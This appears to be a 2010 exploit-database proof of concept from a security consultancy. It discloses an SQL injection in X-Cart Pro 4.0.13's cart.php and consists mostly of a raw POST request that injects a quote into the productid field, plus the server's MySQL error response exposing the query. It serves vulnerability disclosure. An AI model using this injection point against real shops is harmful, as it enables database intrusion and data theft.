# Title: X-Cart Pro v4.0.13 SQL Injection Proof of Concept
# Author: s4squatch
# Published: 2010-02-11


X-Cart Pro v4.0.13 SQL Injection Proof of Concept
Discovered By:  s4squatch of SecureState R&D Team (www.securestate.com)
Discovered: Mon, 08 Sep 2008 20:29:07 GMT
Version:  4.0.13 obtained from www.website.com/README

Can't find reference to this old vuln elsewhere...
Ref's:
http://securitytracker.com/alerts/2005/May/1014077.html
http://www.securityfocus.com/bid/13817/exploit


Proof of Concept:

REQUEST:
========
POST /cart.php?mode=add HTTP/1.1
Host: www.website.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.website.com/product.php?productid=16&cat=0&bestseller
Cookie: store_language=US; xid=51cac653f7b0dfc3002888369aa343f9
Content-Type: application/x-www-form-urlencoded
Content-Length: 206

product_options%5B142%5D=302&product_options%5B180%5D=353&amount=1&mode=add&productid=16%27&cat=0&page=



RESPONSE:
=========
HTTP/1.1 200 OK
Date: Mon, 08 Sep 2008 20:29:07 GMT
Server: Apache/2.0.46 (CentOS)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Mon, 08 Sep 2008 20:29:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/
Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com
Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com
Set-Cookie: RefererCookie=http%3A//www.website.com/home.php; expires=Sat, 07-Mar-2009 20:29:07 GMT; path=/; domain=subdomain.website.com
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 502

<B><FONT COLOR=DARKRED>INVALID SQL: </FONT></B>1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<BR><B><FONT COLOR=DARKRED>SQL QUERY FAILURE:</FONT></B> SELECT * FROM xcart_products_lng WHERE code='US' AND productid=16\' <BR><BR><BR>If the page is not updated in a 5 seconds, please follow this link: <A href="cart.php">continue >></A><META http-equiv="Refresh" content="0;URL=cart.php">





Scott White<mailto:swhite@securestate.com>                | Senior Consultant          | SecureState
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